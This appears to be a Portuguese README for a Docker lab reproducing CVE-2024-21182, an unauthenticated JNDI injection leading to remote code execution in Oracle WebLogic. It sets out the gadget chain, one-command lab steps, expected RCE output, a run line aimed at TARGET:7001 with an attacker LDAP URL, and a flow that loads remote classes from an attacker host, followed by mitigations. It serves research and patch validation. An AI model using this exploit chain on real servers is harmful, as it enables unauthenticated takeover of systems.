dinosn/cve-2024-21182Laboratório Docker reproduzível para CVE-2024-21182 — Oracle WebLogic T3/IIOP OpaqueReference JNDI injection → RCE não autenticada (CVE-2023-21839 família de bypass de patch). Comando único validate.sh.
Um laboratório Docker autocontido com um único comando para reproduzir e validar a família de vulnerabilidades de injeção JNDI OpaqueReference do Oracle WebLogic Server (CVE-2024-21182, um bypass do patch da CVE-2023-21839) e transformá-la em execução remota de código não autenticada.
⚠️ Apenas para pesquisa de segurança autorizada, educação e validação de patches. Consulte DISCLAIMER. Execute apenas contra este laboratório ou sistemas que você possui.
A CVE-2024-21182 é uma vulnerabilidade não autenticada no componente Core do Oracle WebLogic Server, acessível através dos protocolos T3 / IIOP (porta padrão 7001). Permite que um atacante vincule um objeto de "referência" manipulado na árvore JNDI do servidor e dispare uma consulta JNDI do lado do servidor para uma URL controlada pelo atacante — injeção JNDI clássica que escala para RCE.
| CVE | CVE-2024-21182 |
| Produto | Oracle WebLogic Server (Core) |
| Afetados (segundo a Oracle) | 12.2.1.4.0, 14.1.1.0.0 |
| Corrigido em | Critical Patch Update de Outubro de 2024 da Oracle |
| Vetor | Rede, não autenticado, T3/IIOP (porta 7001) |
| CISA KEV | Sim (conhecido por ser explorado ativamente) |
| Classe | Bypass do patch da CVE-2023-21839 (injeção JNDI OpaqueReference) |
Um objeto de referência do WebLogic é resolvido no lado do servidor durante lookup() por uma ObjectFactory que realiza uma consulta JNDI aninhada contra uma URL fornecida pelo atacante:
weblogic.jndi.internal.WLContextImpl.lookup
→ javax.naming.spi.NamingManager.getObjectInstance
→ weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
→ weblogic.application.naming.MessageDestinationReference.lookupMessageDestination (line 62)
→ new InitialContext().lookup( ldap://attacker/… ) ← controlado pelo atacante, lado do servidor
A CVE-2023-21839 atingia este ponto via weblogic.jndi.internal.ForeignOpaqueReference, que a Oracle então protegeu. A CVE-2024-21182 contorna essa proteção atingindo a mesma consulta estrangeira através de weblogic.ejb.container.internal.AggregatableOpaqueReference, cujo campo privado referent é definido reflexivamente para um weblogic.application.naming.MessageDestinationReference.
Este laboratório utiliza vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, com JDK 1.8.0_151 inclusa) porque é a única imagem vulnerável do WebLogic redistribuível gratuitamente — as versões formalmente listadas pela CVE-2024-21182 (12.2.1.4.0 / 14.1.1.0.0) exigem licença Oracle e não podem ser publicadas aqui.
Consequências, declaradas honestamente:
OpaqueReference → RCE, exercitada com as classes exatas do gadget da CVE-2024-21182 (AggregatableOpaqueReference + MessageDestinationReference).com.sun.jndi.ldap.object.trustURLCodebase=true (carregamento de classes de codebase remota). Em JDKs modernos, a injeção ainda dispara (SSRF), mas o RCE requer um gadget já no classpath do WebLogic em vez de uma codebase remota.Requisitos: Docker + Docker Compose v2. ~3 GB de download de imagem. No Apple Silicon, a imagem executa sob emulação linux/amd64 (inicialização a frio mais lenta, 2–5 min).
git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d # inicia: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh # aguarda inicialização, dispara o exploit, imprime PASS/FAIL
Final esperado de ./validate.sh:
[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)
Encerramento:
docker compose down
t3://weblogic:7001 ldap://attacker:1389/Evil
PoC client ───────────────────────► WebLogic ──────────────────────────────► attacker (LDAP)
(in weblogic bind() + lookup() (vítima) consulta JNDI lado servidor retorna Reference
container) {javaCodeBase=http://attacker:8888/}
│ │
└────────── GET /Exploit.class ◄─────────────┘ (codebase HTTP)
carrega + instancia → static{} executa `id`
poc/CVE_2024_21182.java — o cliente T3. Constrói o AggregatableOpaqueReference malicioso, faz bind(), depois lookup() para disparar a resolução no lado do servidor. Parametrizado: <t3-host:port> <ldap-url>. É compilado dentro do contêiner WebLogic pelo validate.sh porque as classes do gadget residem no conjunto completo de módulos do WebLogic (não no cliente thin redistribuível), portanto nenhum jar Oracle é enviado aqui.exploit/ldap_server.py — servidor LDAP malicioso mínimo que retorna uma Reference JNDI mais um servidor HTTP hospedando a classe fábrica. Executa no contêiner attacker, acessível do WebLogic pelo nome de serviço attacker.exploit/Exploit.java / Exploit.class — a fábrica de payload (bytecode Java 8). Seu inicializador estático executa id / uname -a e escreve a saída em /tmp/RCE_PROOF_CVE_2024_21182 dentro da vítima. Inofensivo por design — edite-o e execute exploit/build.sh para alterar o comando.O ClassCastException (Exploit cannot be cast to ObjectFactory) que você verá é esperado e cosmético — ocorre após o inicializador estático (o payload) já ter sido executado.
Aponte o PoC para qualquer endpoint T3 que você está autorizado a testar:
# de dentro de um host com o cliente thin WebLogic, ou adapte o validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
trustURLCodebase=false; você ainda tem SSRF, e RCE pode ser possível via um gadget no classpath.OpaqueReference está patcheado (CPU de Outubro de 2024 aplicado).weblogic.security.net.ConnectionFilterImpl) e firewalls de host.com.sun.jndi.ldap.object.trustURLCodebase=false (padrão em JDKs atuais); quebra a etapa RCE de codebase remota (não a etapa de injeção).bind T3 de tipos *OpaqueReference.k4it0k1d/CVE-2024-21182weblogic/CVE-2023-21839)OpaqueReference do WebLogic)Este projeto é publicado para testes de segurança autorizados, validação defensiva e educação. O software vulnerável é executado em um laboratório Docker isolado. Não utilize estas técnicas contra sistemas que você não possui ou para os quais não tem autorização explícita para testar. Os autores não aceitam nenhuma responsabilidade por uso indevido. Consulte LICENSE.